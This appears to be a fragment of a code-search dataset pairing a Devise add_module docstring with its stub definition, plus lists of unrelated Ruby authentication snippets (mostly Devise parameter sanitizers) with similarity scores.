"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:locale, :name, :username, :email, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password) }\n # @current_user.nil? ? I18n.default_locale : I18n.locale = @current_user.locale\n end",
"def sinkitoroku\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username])\n devise_parameter_sanitizer.permit(:account_update, keys: [:username])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in, keys: [:name, :password, :images])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :password, :password_confirmation, :isHost, :isCandidate, :images]) \n devise_parameter_sanitizer.permit(:account_update, keys: [:name, :email, :password, :password_confirmation, :current_password, :isHost, :isCandidate, :images])\n end",
"def apply_devise_schema(name, type, options={})\n eval \"#{type.entity_name}, #{name}, #{options.to_s}\"\n end",
"def map_user(id, auth_user, options)\n user = {}\n is_auth0_user = auth_user['auth0_user_type'] == 'auth0'\n is_idp_user = auth_user['auth0_user_type'] != 'auth0'\n\n user['active'] = true\n user['email'] = auth_user['email']\n user['verified'] = auth_user['email_verified']\n\n\n # Incoming format is '2017-08-08T08:31:19.483Z', convert to epoch milli\n # user['insertInstant'] = Date.parse(auth_user['created_at'].to_s).strftime(\"%Q\")\n\n # Optionally we could grab the last login instant\n\n if is_auth0_user\n # [version][factor][hash [0 - 21 salt][22 - password]]\n user['encryptionScheme'] = auth_user['encryptionScheme']\n user['factor'] = auth_user['factor']\n user['salt'] = auth_user['salt']\n user['password'] = auth_user['password']\n\n # Preserve the Auth0 Unique Id\n user['data'] = {}\n user['data']['auth0'] = {}\n user['data']['auth0']['id'] = id\n user['data']['auth0']['tenant'] = $fusionauth_tenant_id\n end\n\n if is_idp_user\n # random string, we don't care as users won't use it\n user['password'] = SecureRandom.hex\n\n # preserve idp id provided by auth0\n user['data'] = {}\n user['data']['auth0'] = {}\n user['data']['auth0']['idpid'] = auth_user['auth0_user_type'] + \"|\" + id\n end\n\n return user\nend",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up,\n keys: [:face_image, :worker_number, :name, :name_kana, :trade_name, :phone, :address_zip, :address, :warehouse_zip, :warehouse, :warehouse_info, :inaba,\n :yodo, :takubo, :ykkap, :sankyo, :lixil])\n end",
"def configure_devise_permitted_parameters\n # We can't easily override here the internal Devise::RegistrionController used by the\n # Engine, because the engine is not namespaced.\n # So we have to resort to some tinkering right here:\n# DEBUG\n# logger.debug( \"\\r\\n\\r\\n!! =====[ #{self.class.name}: configure_devise_permitted_parameters ]====\" )\n# logger.debug( \"- resource...: \" << resource.inspect )\n# logger.debug( \"- PARAMS.....: \" << params.inspect )\n# logger.debug( \"- CTRL.......: \" << params[:controller] )\n# logger.debug( \"- ACTION.....: \" << params[:action] )\n\n # User new/create: do not allow any parameter if recaptcha fails:\n if (params[:controller].to_s == 'devise/registrations') &&\n ( (params[:action].to_s == 'new') || (params[:action].to_s == 'create') )\n# logger.debug( \"In devise/registrations...\" )\n\n if (params[:action].to_s == 'new') || (params[:action].to_s == 'create' && verify_recaptcha)\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n flash[:error] = nil\n else\n flash[:error] = I18n.t('search_view.captcha_fail')\n end\n end\n\n # User edit/update:\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n end",
"def oauth2_authenticatable(routes, mapping)\n \n database_authenticatable(routes, mapping)\n routes.oauth_callback ::Devise.oauth2_callback_path, :controller => 'sessions', :action => 'oauth_callback'\n end",
"def define_mapping\n # no additional parameters\n nil\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :password, :password_confirmation]) \n devise_parameter_sanitizer.permit(:account_update, keys: [:name, :is_female, :date_of_birth, :email, :password, :password_confirmation, :current_password]) \n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :phone, :real_estate_company, :real_estate_company_id])\n end",
"def apply_omniauth(auth)\n self.email = auth['extra']['raw_info']['email'] if auth['extra']['raw_info']['email']\n self.password = Devise.friendly_token[0,20]\n authentications.build(:provider=>auth['provider'], :uid=>auth['uid'], :token=>auth['credentials']['token'], :secret=>auth['credentials']['secret'])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:api_key, :home_zip_code, :full_name, :found_option])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname\n birth_date address type avatar phone_number])\n end",
"def setup\n @request.env[\"devise.mapping\"] = Devise.mappings[:admin]\n sign_in FactoryGirl.create(:admin)\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :age, :address, :pincode, :phone, :gender, :dob, :position_id])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :username\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(\n :email, :password,\n :password_confirmation, :current_password,\n :address, :phone, :latitude, :longitude) }\n end",
"def authorizer_map(model_class, application_authorizer = nil)\n application_authorizer ||= mapping.model_authorizer\n map_of :@authorizer_map, model_class, application_authorizer\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up).push(:avatar_file_name, :avatar_content_type,\n :avatar_file_size, :avatar_updated_at, :company_name, :country_id, :firstname,\n :international, :invitation_id, :lastname, :name, :title, :roles_mask)\n end",
"def ad_field_to_local field_name\n @ad_to_local_map ||= ::Devise.ad_attr_mapping[devise_model_name.to_sym].invert\n return (@ad_to_local_map.has_key? field_name) ? @ad_to_local_map[field_name] : field_name\n end",
"def configure_devise_permitted_parameters\n\t\tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[name username email password password_confirmation])\n\t\tdevise_parameter_sanitizer.permit(:sign_in, keys: %i[login password remember_me])\n\t\tdevise_parameter_sanitizer.permit(:account_update, keys: %i[name username email current_password password password_confirmation])\n\tend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username]) \n devise_parameter_sanitizer.permit(:account_update, keys: [:username])\nend",
"def after_sign_in_path_for(user)\n \"/map\"\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :remember_me)\n }\n devise_parameter_sanitizer.for(:sign_in) { |u|\n u.permit(:login, :uid, :email, :password, :remember_me)\n }\n devise_parameter_sanitizer.for(:account_update) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :current_password)\n }\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :nationality_id ])\n end"
] | [
"0.8111879",
"0.78088266",
"0.78088266",
"0.78088266",
"0.7464767",
"0.6392888",
"0.61393785",
"0.6126036",
"0.60958374",
"0.6056741",
"0.599452",
"0.59280944",
"0.5800597",
"0.5745422",
"0.5719109",
"0.57128125",
"0.5667718",
"0.56620896",
"0.5640379",
"0.56369895",
"0.5608774",
"0.5592506",
"0.5574257",
"0.55514634",
"0.5535152",
"0.5528602",
"0.5525129",
"0.5525009",
"0.5484161",
"0.547958",
"0.5468363",
"0.5468207",
"0.54639405",
"0.5457596",
"0.5451659",
"0.544326",
"0.53928125",
"0.53928125",
"0.5389119",
"0.5380832",
"0.5378709",
"0.5377188",
"0.53672516",
"0.53672516",
"0.5351785",
"0.5343069",
"0.5333198",
"0.53321284",
"0.53320146",
"0.5329467",
"0.53172904",
"0.53125614",
"0.53035504",
"0.53035504",
"0.52850497",
"0.52790296",
"0.5278893",
"0.52625155",
"0.5261175",
"0.52347475",
"0.5231301",
"0.52102333",
"0.52089214",
"0.5208125",
"0.52063596",
"0.519909",
"0.51941967",
"0.5191834",
"0.5181991",
"0.5171198",
"0.5170345",
"0.5169772",
"0.5167948",
"0.5166362",
"0.5164661",
"0.51625764",
"0.5158218",
"0.5155903",
"0.5152805",
"0.515032",
"0.5146754",
"0.514254",
"0.5142302",
"0.51395094",
"0.51389956",
"0.51372886",
"0.5133007",
"0.5124729",
"0.5124034",
"0.51229423",
"0.5120342",
"0.5117894",
"0.5116726",
"0.51109076",
"0.5107953",
"0.5107391",
"0.51050866",
"0.51018196",
"0.50984955",
"0.5097005"
] | 0.52291787 | 61 |
Register available devise modules. For the standard modules that Devise provides, this method is called from lib/devise/modules.rb. Thirdparty modules need to be added explicitly using this method. Note that adding a module using this method does not cause it to be used in the authentication process. That requires that the module be listed in the arguments passed to the 'devise' method in the model class definition. == Options: +model+ String representing the load path to a custom model for this module (to autoload.) +controller+ Symbol representing the name of an existing or custom controller for this module. +route+ Symbol representing the named route helper for this module. +strategy+ Symbol representing if this module got a custom strategy. +insert_at+ Integer representing the order in which this module's model will be included All values, except :model, accept also a boolean and will have the same name as the given module name. == Examples: Devise.add_module(:party_module) Devise.add_module(:party_module, strategy: true, controller: :sessions) Devise.add_module(:party_module, model: 'party_module/model') Devise.add_module(:party_module, insert_at: 0) source://devise//lib/devise.rb393 | def add_module(module_name, options = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_module_by_normal_module(mod)\n add_class_or_module mod, @modules, @store.modules_hash\n end",
"def register_module\n unless Object.const_defined? module_name\n Object.const_set module_name, Module.new\n end\n end",
"def extend(mod)\n @modules << mod\n super(mod)\n end",
"def method_missing(method, *args)\n add_module(method, *args)\n end",
"def register_module(mod)\n $log.debug \"Registering module: #{mod.class}...\"\n mod.hook_thyself\n end",
"def register_module_function(object); end",
"def add_module(mod, name, file_paths)\n\t\t# Call the module set implementation of add_module\n\t\tdup = super\n\n\t\t# If the module cache is not being used, update the cache with\n\t\t# information about the files that are associated with this module.\n\t\tif (!using_cache)\n\t\t\tupdate_module_cache_info(dup.fullname, mod, file_paths)\n\t\tend\n\n\t\t# Automatically subscribe a wrapper around this module to the necessary\n\t\t# event providers based on whatever events it wishes to receive. We\n\t\t# only do this if we are the module manager instance, as individual\n\t\t# module sets need not subscribe.\n\t\tauto_subscribe_module(dup)\n\n\t\t# Notify the framework that a module was loaded\n\t\tframework.events.on_module_load(name, dup)\n\tend",
"def add(module_object)\n @additional_modules << module_object\n end",
"def register(&block)\n extend Module.new(&block)\n end",
"def extend_user(module_name, init_method = nil)\n @user_extensions << module_name\n @user_init_methods << init_method unless init_method.nil?\n end",
"def add_to_classes_or_modules mod\n @classes_or_modules << mod\n end",
"def devise_modules_hook!; end",
"def add(modName,privMsg=false)\n begin\n if @dir.find{|file| file.sub!(/\\.rb$/,\"\"); file == modName} \t\n load \"./lib/modules/#{modName}.rb\"\n klass = \"linael/modules/#{modName}\".camelize.constantize\n if (has_key?(klass::Name))\n answer(privMsg,\"Module already loaded, please unload first\")\n else\n if (klass.require_auth && @authModule.empty?)\n answer(privMsg,\"You need at least one authMethod to load this module\") \n else\n if matchRequirement?(klass.required_mod)\n mod = Modules::ModuleType.new(@runner,klass: klass,privMsg: privMsg)\n addMod(mod)\n @authModule << klass::Name if klass::auth?\n answer(privMsg,\"Module #{modName} loaded!\")\n else\n answer(privMsg,\"You do not have loaded all the modules required for this module.\") \n answer(privMsg,\"Here is the list of requirement: #{klass.required_mod.join(\" - \")}.\") \n end\n end\n end\n end\n rescue Exception\n puts $!\n answer(privMsg,\"Problem when loading the module\") \n talk(privMsg.who,$!) \n end\n end",
"def add_module(mod, name, modinfo = nil)\n\n\n\t\t# Set the module's name so that it can be referenced when\n\t\t# instances are created.\n\t\tmod.framework = framework\n\t\tmod.refname = name\n\t\tmod.file_path = ((modinfo and modinfo['files']) ? modinfo['files'][0] : nil)\n\t\tmod.orig_cls = mod\n\n\t\tif (get_hash_val(name) and get_hash_val(name) != SymbolicModule)\n\t\t\tmod_ambiguous[name] = true\n\n\t\t\twlog(\"The module #{mod.refname} is ambiguous with #{self[name].refname}.\")\n\t\telse\n\t\t\tself[name] = mod\n\t\tend\n\n\t\t# Check to see if we should update info\n\t\tnoup = true if (modinfo and modinfo['noup'])\n\n\t\t# Add this module to the module cache for this type\n\t\tframework.modules.cache_module(mod) if (noup != true)\n\t\n\t\t# Invalidate the sorted array\n\t\tinvalidate_sorted_cache\n\n\t\t# Return the modlicated instance for use\n\t\tmod\n\tend",
"def add_platform_serializer_modules(model, serializer)\n modules = totem_settings.authorization.current_serializer_include_modules(model) || []\n modules.each do |mod|\n serializer.send(:include, mod)\n end\n end",
"def add_extension(mod, options = {})\n self.extend(mod)\n options = mod.send(:prepare_options, options || {}) if mod.respond_to?(:prepare_options)\n extension_options[mod] = options\n self\n end",
"def representer_module_for(object, *args)\n evaluate_option(:extend, object) # TODO: pass args? do we actually have args at the time this is called (compile-time)?\n end",
"def install!\n @method_name ||= self.name.split('::').last.downcase.to_sym\n _cls = self # for self is obscured in define_method block's body\n ( class << Vendorificator::Config ; self ; end ).\n send(:define_method, @method_name ) do |name, *args, &block|\n mod = _cls.new(name.to_s, *args, &block)\n self[:modules] << mod\n mod\n end\n end",
"def add_modules(modules)\n Array(modules).each do |mod|\n case mod\n when Bolt::Puppetfile::Module\n @modules << mod\n when Hash\n @modules << Bolt::Puppetfile::Module.from_hash(mod)\n else\n raise Bolt::ValidationError, \"Module must be a Bolt::Puppetfile::Module or Hash.\"\n end\n end\n\n @modules\n end",
"def add_modules(modules)\n Array(modules).each do |mod|\n case mod\n when Bolt::Puppetfile::Module\n @modules << mod\n when Hash\n @modules << Bolt::Puppetfile::Module.from_hash(mod)\n else\n raise Bolt::ValidationError, \"Module must be a Bolt::Puppetfile::Module or Hash.\"\n end\n end\n\n @modules\n end",
"def add_module(class_type, name)\n return @classes[name] if @classes.key? name\n\n add_class_or_module @modules, class_type, name, nil\n end",
"def add_module(method_hash)\n method_hash.each do |k, v|\n methods.grep(/add_#{k.to_s}_behavior/) do |name|\n v.each do |behav|\n send name.to_sym, self, behav, behav.to_s\n end\n end\n end\n end",
"def install_module(mod)\n ::GDO::Core::Log.info \"ModuleInstaller.install_module(#{mod.name})\"\n \n # Install tables\n install_module_tables(mod)\n \n # copy db vars into old object\n if mod_db = ::GDO::Core::GDO_Module.table.get_by(module_name: mod.module_name)\n mod.set_vars(mod_db.get_vars)\n mod.persisted\n else\n mod = create_module(mod)\n end\n\n # put into cache \n mod.recache\n ::GDO::Core::ModuleLoader.instance.add_module(mod)\n\n # updates\n update_module(mod)\n \n # Event\n mod.after_install\n \n self\n end",
"def add_module(mod)\n @display.print_module mod\n end",
"def add_module(name)\n require name\n\n m = name.downcase.gsub(File::SEPARATOR, '_')\n method(\"dispatch_#{m}\".intern).call(self)\n\n self\n end",
"def register\n ModelAdapter.adapters ||= []\n ModelAdapter.adapters << Kernel.const_get(self.to_s)\n end",
"def extend( *modules )\n\t\tsuper\n\t\tmodules.each do |mod|\n\t\t\tmod.instance_method( :initialize ).bind( self ).call if\n\t\t\t\tmod.private_instance_methods.map( &:to_sym ).include?( :initialize )\n\t\tend\n\tend",
"def register\n return self if registered?\n mod_instance = self\n # class Class < SugarCRM::Base\n # module_name = \"Accounts\"\n # end\n klass = Class.new(SugarCRM::Base) do\n self._module = mod_instance\n end \n \n # class Account < SugarCRM::Base\n SugarCRM.const_set self.klass, klass\n self\n end",
"def << backend_module\n modules << backend_module\n end",
"def extend_from_module base_name, *module_names, options\n raise ArgumentError, \"You must specify an options Hash as the last argument for #extend_from_module\" if !options.kind_of? Hash \n module_names.each do |name|\n extend_with get_constant(base_name, name), options\n end\n end",
"def extend( *modules, & block )\n\n new_stack_frame( :extend, *modules, & block )\n \n return self\n \n end",
"def add_module(name, outputter)\n assert_project_file(config.project)\n\n installer = Bolt::ModuleInstaller.new(outputter, pal)\n\n installer.add(name,\n config.project.modules,\n config.project.puppetfile,\n config.project.managed_moduledir,\n config.project.project_file,\n config.module_install)\n end",
"def register extension = nil, &block\n if block_given?\n registered << block\n elsif extension\n registered << resolve_class(extension)\n end \n end",
"def install!\n each_module do |repo|\n\n print_verbose \"\\n##### processing module #{repo[:name]}...\"\n\n module_dir = File.join(module_path, repo[:name])\n\n unless File.exists?(module_dir)\n case\n when repo[:git]\n install_git module_path, repo[:name], repo[:git], repo[:ref]\n when repo[:archive]\n install_archive module_path, repo[:name], repo[:archive]\n else\n abort('only the :git and :archive provider are currently supported')\n end\n else\n print_verbose \"\\nModule #{repo[:name]} already installed in #{module_path}\"\n end\n end\n end",
"def register\n return self if registered?\n mod_instance = self\n sess = @session\n # class Class < SugarCRM::Base\n # module_name = \"Accounts\"\n # end\n klass = Class.new(SugarCRM::Base) do\n self._module = mod_instance\n self.session = sess\n end\n \n # class Account < SugarCRM::Base\n @session.namespace_const.const_set self.klass, klass\n self\n end",
"def add_acts_as_resource_module(mod, action = :append)\n modules = acts_as_resource_modules\n case action\n when :append\n modules << mod\n when :prepend\n modules = [mod] + modules\n end\n modules.uniq!\n write_inheritable_attribute(:acts_as_resource_modules, modules)\n end",
"def AddModuleToLoad(name)\n Builtins.y2milestone(\"Adding module to be loaded at boot: %1\", name)\n @kernel_modules_to_load = Builtins.add(\n @kernel_modules_to_load,\n { \"operation\" => \"add\", \"name\" => name }\n )\n\n nil\n end",
"def add_module(class_type, name)\n mod = @classes[name] || @modules[name]\n return mod if mod\n\n full_name = child_name name\n mod = @store.modules_hash[full_name] || class_type.new(name)\n\n add_class_or_module mod, @modules, @store.modules_hash\n end",
"def on_module_load(mod, type, name, modinfo)\n\t\t# Payload modules require custom loading as the individual files\n\t\t# may not directly contain a logical payload that a user would \n\t\t# reference, such as would be the case with a payload stager or \n\t\t# stage. As such, when payload modules are loaded they are handed\n\t\t# off to a special payload set. The payload set, in turn, will\n\t\t# automatically create all the permutations after all the payload\n\t\t# modules have been loaded.\n\t\tif (type != MODULE_PAYLOAD)\n\t\t\t# Add the module class to the list of modules and add it to the\n\t\t\t# type separated set of module classes\n\t\t\tadd_module(mod, name, modinfo)\n\t\tend\n\n\t\tmodule_sets[type].add_module(mod, name, modinfo)\n\tend",
"def devise_install(&block)\n if block_given?\n Devise.setup do |config|\n block.call config\n end\n end\n end",
"def carries_rygsaek(*modules)\n options = modules.extract_options!.dup\n\n selected_modules = modules.map(&:to_sym).uniq.sort_by do |s|\n Rygsaek::ALL.index(s) || -1 # follow Rygsaek::ALL order\n end\n\n rygsaek_modules_hook! do\n\n selected_modules.each do |m|\n mod = Rygsaek::Models.const_get(m.to_s.classify)\n\n if mod.const_defined?(\"ClassMethods\")\n class_mod = mod.const_get(\"ClassMethods\")\n extend class_mod\n\n if class_mod.respond_to?(:available_configs)\n available_configs = class_mod.available_configs\n available_configs.each do |config|\n next unless options.key?(config)\n send(:\"#{config}=\", options.delete(config))\n end\n end\n end\n\n include mod\n end\n\n self.rygsaek_modules |= selected_modules\n options.each { |key, value| send(:\"#{key}=\", value) }\n end\n end",
"def register_module(klass, path)\n # We need to deal with absolute paths only\n fpath = File.absolute_path(path)\n\n # Figure out if the class implements all the methods we need; we're not\n # checking for anything else.\n klass_methods = klass.methods - klass.instance_methods - Object.methods\n\n if MODULE_METHODS - klass_methods != []\n raise LoadError, \"Driver module #{klass.name} is not implementing all \"\\\n \"of the class methods #{MODULE_METHODS}, aborting!\"\n end\n\n # The second question is whether the same class is already known, or\n # whether a class with the same name but under a different location is\n # known.\n if @@modules.include?(klass) and @@modules[klass] != fpath\n raise LoadError, \"Driver module #{klass.name} is duplicated in file \"\\\n \"'#{fpath}'; previous definition is here: \"\\\n \"'#{@@modules[klass]}'\"\n end\n\n # If all of that was ok, we can register the implementation.\n @@modules[klass] = fpath\n end",
"def append_features(mod)\n im = Rubinius::IncludedModule.new(self)\n im.attach_to mod\n end",
"def install(*modules)\n collection = DotModule::Collection.new(Dir.pwd)\n if modules.size.zero?\n modules = case ask(\"#{collection}\\nNo module argument passed. Install (c)ore/(a)ll/(n)one? [n]:\").downcase\n when 'a'\n collection.modules\n when 'c'\n collection.core_modules\n else #none\n []\n end\n end\n collection.install_modules(modules)\n end",
"def install_modules_from_gallery\n return if config[:install_modules].nil?\n\n Array(config[:install_modules]).map do |powershell_module|\n if powershell_module.is_a? Hash\n # Sanitize variable name so that $powershell-yaml becomes $powershell_yaml\n module_name = powershell_module[:Name].gsub(/[\\W]/, \"_\")\n # so we can splat that variable to install module\n <<-PS1\n $#{module_name} = #{ps_hash(powershell_module)}\n Write-Host -NoNewline 'Installing #{module_name}'\n Install-Module @#{module_name}\n Write-host '... done.'\n PS1\n else\n <<-PS1\n Write-host -NoNewline 'Installing #{powershell_module} ...'\n Install-Module -Name '#{powershell_module}'\n Write-host '... done.'\n PS1\n end\n end\n end",
"def initialize(**options)\n @mod = Module.new\n @config = Avromatic::Model::Configuration.new(**options)\n define_included_method\n end",
"def include_new_module(module_name, &content)\n include Named::Module.new(module_name, &content)\n end",
"def register_all\n SugarCRM.connection.get_modules.each do |m|\n SugarCRM.modules << m.register\n end\n @initialized = true\n true\n end",
"def install_modules(outputter, force: false, resolve: true)\n assert_project_file(config.project)\n\n if config.project.modules.empty? && resolve\n outputter.print_message(\n \"Project configuration file #{config.project.project_file} does not \"\\\n \"specify any module dependencies. Nothing to do.\"\n )\n return true\n end\n\n installer = Bolt::ModuleInstaller.new(outputter, pal)\n\n installer.install(config.project.modules,\n config.project.puppetfile,\n config.project.managed_moduledir,\n config.module_install,\n force: force,\n resolve: resolve)\n end",
"def enable_modules(*mods)\n modified = []\n mods = [mods].flatten\n mods.each do |mod|\n self.mod_extensions.each do |extension|\n source = \"#{self.mods_available}/#{mod}.#{extension}\"\n target = \"#{self.mods_enabled}/#{mod}.#{extension}\"\n if File.exist?(source) && interpreter.ln_s(source, target)\n modified << mod\n end\n end\n end\n return(modified.empty? ? false : modified.uniq)\n end",
"def add extension, provider\n providers[extension] = provider\n end",
"def dynamic_extend(m, lib)\n if m.library != lib\n message = \"dynamically extended module #{m.name} should be defined in the module #{lib.name}\"\n raise InvalidLibrary, message\n end\n dynamically_extended().push m\n end",
"def puppet_module_install(opts, &block)\n RSpecSystemPuppet::Helpers::PuppetModuleInstall.new(opts, self, &block)\n end",
"def modules_for_helpers(args)\n args += all_application_helpers if args.delete(:all)\n super(args)\n end",
"def save_module(valid_uni_module)\n uni_modules << valid_uni_module\n end",
"def include_modules\n @mods = Devium::PageBuilder.new(page, details).parse_page_modules\n mods.map do |mod|\n extend Object.const_get(\"#{self.class}::#{mod}\")\n end\n end",
"def extend_and_include( *modules, & block )\n \n return new_stack_frame( :extend_and_include, *modules, & block )\n \n end",
"def add_users\n # Install Devise\n generate \"devise:install\"\n\n # Configure Devise\n environment \"config.action_mailer.default_url_options = { host: 'localhost', port: 3000 }\",\n env: 'development'\n route \"root to: 'home#index'\"\n\n # Devise notices are installed via Bootstrap\n generate \"devise:views:bootstrapped\"\n\n # Create Devise User\n generate :devise, \"User\",\n \"name\",\n \"admin:boolean\"\n\n # Set admin default to false\n in_root do\n migration = Dir.glob(\"db/migrate/*\").max_by{ |f| File.mtime(f) }\n gsub_file migration, /:admin/, \":admin, default: false\"\n end\n\n requirement = Gem::Requirement.new(\"> 5.2\")\n rails_version = Gem::Version.new(Rails::VERSION::STRING)\n\n if requirement.satisfied_by? rails_version\n gsub_file \"config/initializers/devise.rb\",\n / # config.secret_key = .+/,\n \" config.secret_key = Rails.application.credentials.secret_key_base\"\n end\n\n # Add Devise masqueradable to users\n inject_into_file(\"app/models/user.rb\", \"masqueradable, :\", after: \"devise :\")\nend",
"def AddModulePackages(module_packages)\n module_packages = deep_copy(module_packages)\n PackageAI.toinstall = Builtins.toset(\n Convert.convert(\n Builtins.union(PackageAI.toinstall, module_packages),\n :from => \"list\",\n :to => \"list <string>\"\n )\n )\n #\n # Update profile\n #\n Ops.set(Profile.current, \"software\", Export())\n nil\n end",
"def register_model(model)\n raise ArgumentError, \"already know this model\" if models.include?(model)\n models << model\n build_route_for_model(model)\n end",
"def register(engine)\n engines.unshift engine.new\n end",
"def register(type, &block)\n extensions = @types[type.meta[:database]]\n db_type = type.meta[:db_type]\n\n mod = Module.new(&block)\n ctx = Object.new.extend(mod)\n functions = mod.public_instance_methods.each_with_object({}) { |m, ms|\n ms[m] = ctx.method(m)\n }\n extensions[db_type] = (extensions[db_type] || {}).merge(functions)\n end",
"def register_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/registerCapability', {\n registrations: methods.select{|m| can_register?(m) and !registered?(m)}.map { |m|\n @registered_capabilities.add m\n {\n id: m,\n method: m,\n registerOptions: dynamic_capability_options[m]\n }\n }\n }\n end\n end",
"def module_options(module_name, options)\n\t\t\[email protected]_module_options(module_name, options)\n\t\tend",
"def include(*modules)\n modules.reverse_each do |mod|\n if !mod.kind_of?(Module) or mod.kind_of?(Class)\n raise TypeError, \"wrong argument type #{mod.class} (expected Module)\"\n end\n\n Rubinius.privately do\n mod.append_features self\n end\n\n Rubinius.privately do\n mod.included self\n end\n end\n self\n end",
"def include(*modules)\n modules.reverse_each do |mod|\n if !mod.kind_of?(Module) or mod.kind_of?(Class)\n raise TypeError, \"wrong argument type #{mod.class} (expected Module)\"\n end\n\n Rubinius.privately do\n mod.append_features self\n end\n\n Rubinius.privately do\n mod.included self\n end\n end\n self\n end",
"def project_module(name, controller=nil, &block)\n @project_modules << ProjectModule.new(name, controller, &block)\n end",
"def instance_modules(*mods)\n @instance_modules ||= [ \n Command::InstanceMethods, \n Command::Options::InstanceMethods\n ]\n @instance_modules += mods\n end",
"def add_nacl_module(&block)\n nacl_module = NaClModule.new\n yield nacl_module\n @nacl_modules << nacl_module\n end",
"def EnableRequiredModules\n # Lazy init\n if @modules_to_enable_with_AC_on == nil\n feature = ProductFeatures.GetFeature(\n \"globals\",\n \"autoconfiguration_enabled_modules\"\n )\n\n if feature == \"\" || feature == nil || feature == []\n @modules_to_enable_with_AC_on = []\n else\n @modules_to_enable_with_AC_on = Convert.convert(\n feature,\n :from => \"any\",\n :to => \"list <string>\"\n )\n end\n\n Builtins.y2milestone(\n \"Steps to enable with AC in use: %1\",\n @modules_to_enable_with_AC_on\n )\n end\n\n if @modules_to_enable_with_AC_on != nil\n Builtins.foreach(@modules_to_enable_with_AC_on) do |one_module|\n ProductControl.EnableModule(one_module)\n end\n end\n\n nil\n end",
"def enable_authentication (options={})\n config = {\n :after_login_url => '/',\n :after_logout_url => '/',\n :record_url => true,\n :user_model => nil,\n }.update(options)\n\n # the following code prevents the plugin from blowing up when the\n # Rails application does not yet have a User model.\n if config[:user_model].nil? and File.exist?(DEFAULT_MODEL_FILE)\n config[:user_model] = DEFAULT_MODEL_CLASS\n end\n\n class_eval <<-EOT\n def self.rauth_loaded? () true end\n cattr_accessor(:rauth_options)\n @@rauth_options = config\n\n def self.require_authentication (options={})\n before_filter(:authenticate, options)\n end\n EOT\n\n self.send(:include, Rauth::Authentication::ActionControllerInstanceMethods)\n self.send(:include, Rauth::State)\n self.add_template_helper(Rauth::State)\n end",
"def register_fulfillment_processor mod\n uniq_code = mod.name\n return unless verify_uniq_fulfillment_processor(uniq_code)\n return unless verify_fulfillment_module(mod)\n install_fulfillment_processor(uniq_code, mod)\n end",
"def allow_registration method\n @register_semaphore.synchronize do\n @dynamic_capabilities.add method\n end\n end",
"def set_dynamic_loadable_module(opts)\n opts = check_params(opts,[:mod_info])\n super(opts)\n end",
"def add_model_to_list(m)\n tn = implementation_model_name\n self.class.models[tn] = m\n logger.info \"Added new model #{tn}\"\n self.class.model_names << tn unless self.class.model_names.include? tn\n Resources::Models.add(m)\n end",
"def register(*plugins)\n @@plugins += plugins\n end",
"def helpers(*mods, type: nil, &blk)\n new_helpers = []\n # loop over the list of arguments, making sure they're all modules, and\n # then add them to the list of new helpers\n mods.each do |mod|\n unless mod.is_a?(Module)\n raise ArgumentError, 'Helpers must be defined in a module or block'\n end\n\n new_helpers << mod\n end\n # if block is given, turn it into a module and add it to the helpers list\n new_helpers << Module.new(&blk) if blk\n\n if new_helpers.present?\n # extend the current Config instance with the helpers, making them available\n # to the rest of the configuration block\n extend(*new_helpers.reverse) if type.nil? || type.to_sym == :config\n # add our new helpers to our array of all helpers\n @helper_modules += new_helpers if type.nil? || type.to_sym == :template\n end\n\n self\n end",
"def helper(*mods, &block)\n helpers.concat mods\n helpers << Module.new.tap { |mod| mod.class_eval(&block) } if block\n end",
"def ldap_mod_add( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_ADD, attribute.to_s, values.flatten )\n\tend",
"def ldap_mod_add( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_ADD, attribute.to_s, values.flatten )\n\tend",
"def include_and_extend( *modules, & block )\n \n return new_stack_frame( :include_and_extend, *modules, & block )\n \n end",
"def register_all(session)\n namespace = session.namespace_const\n session.connection.get_modules.each do |m|\n session.modules << m.register\n end\n @initialized = true\n true\n end",
"def modules\n yield self\n end",
